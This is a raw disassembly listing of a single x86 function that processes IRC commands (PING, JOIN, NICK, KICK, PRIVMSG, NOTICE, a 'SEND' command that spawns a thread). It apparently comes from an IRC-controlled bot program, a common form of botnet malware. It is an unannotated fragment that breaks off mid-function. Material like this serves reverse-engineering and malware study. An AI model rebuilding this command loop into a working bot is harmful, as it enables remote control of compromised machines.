var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_432340 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_43233C ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_432338 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4322CC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h

loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax

loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h

loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0

loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87

loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B

loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083

loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019

loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_432278

loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220

loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx

loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_432254
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_432240
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854

loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_432238
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_4321FC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680053h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_443774[ecx], eax
		jz	loc_4023E6

loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2680000h
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------

loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1

loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_4321F8
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A

